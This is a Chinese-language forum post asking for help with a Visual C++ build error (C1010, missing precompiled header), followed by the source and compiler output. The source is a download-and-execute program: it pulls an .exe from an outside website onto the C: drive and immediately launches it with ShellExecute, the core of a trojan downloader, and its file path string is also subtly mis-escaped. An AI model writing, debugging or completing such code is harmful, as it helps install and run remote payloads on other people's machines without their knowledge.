大家帮我看看,C程序用VC编译的, 总是出现一个错误, 愁死我了,别人都可以运行,
#include "windows.h"
#include"urlmon.h"
#include"process.h"
#include"Shellapi.h" //这里这个头文件是对ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:\test.exe",0,NULL);
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
return 0;
}
错误代码如下
--------------------Configuration: 633 - Win32 Debug--------------------
Compiling...
633.cpp
c:\program files\microsoft visual studio\myprojects\633\633.cpp(14) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.
633.exe - 1 error(s), 0 warning(s)